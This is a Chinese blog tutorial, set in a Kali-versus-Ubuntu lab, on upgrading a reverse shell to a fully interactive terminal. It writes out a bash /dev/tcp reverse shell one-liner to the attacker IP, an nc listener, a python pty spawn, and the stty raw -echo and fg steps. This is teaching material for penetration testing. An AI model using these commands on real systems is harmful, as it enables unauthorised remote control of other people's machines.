通过stty将shell升级为完全交互式shell

当我们反弹回了一个shell连接,以及通过id命令查看到一个令人满意的用户权限。但凡事总有意外,由于我们获取的shell并不是一个具有完整交互的shell,因此可能会在使用过程中被挂起,甚至还可能会因为我们的操作失误,例如不小心摁下了 “Ctrl-C”键,这将直接终止我们的整个shell进程。

做个小实验

攻击机:kali (10.92.0.73)
靶机:ubuntu (10.92.0.74)

 

简单shell

首先给kali反弹个普通shell
Ubuntu:
bash -i >& /dev/tcp/10.92.0.73/1234 0>&1
Kali:
nc -lvvp 1234
在这里插入图片描述
在这里插入图片描述
这个shell有很多问题,不能满足部分功能
1.无法使用vim等文本编辑器
2.不能补全
3.不能su
4.没有向上箭头使用历史

 

半交互式Shell

对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:

python -c 'import pty; pty.spawn("/bin/bash")' 

可以运行su命令
在这里插入图片描述
但是还是存在很多问题
1.无法使用vim等文本编辑器
2.不能补全
3.没有向上箭头使用历史
 

完全交互式Shell

通过实验我只通过以下命令就得到了完全交互式shell

# In reverse shell 
$ python -c 'import pty; pty.spawn("/bin/bash")' 
Ctrl-Z

 # In Kali 
$ stty raw -echo 
$ fg 

# In reverse shell 
$ reset

可以使用上下左右,vi,tab补全等等一系列操作,并且按Ctrl-c也不会退出
在这里插入图片描述
 

相关命令解析
stty -echo #禁止回显,当在键盘上输入时,并不出现在屏幕上
stty echo #打开回显
stty raw #设置原始输入
stty -raw #关闭原始输入

bg
将一个在后台暂停的命令,变成继续执行

fg
将后台中的命令调至前台继续运行

jobs
查看当前有多少在后台运行的命令

ctrl + z
可以将一个正在前台执行的命令放到后台,并且暂停

clear
这个命令将会刷新屏幕,本质上只是让终端显示页向后翻了一页,如果向上滚动屏幕还可以看到之前的操作信息。
 
reset
这个命令将完全刷新终端屏幕,之前的终端输入操作信息将都会被清空
参考链接

https://www.freebuf.com/news/142195.html
https://www.jianshu.com/p/e7202cb2c3dd
 
GOT IT!

 
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值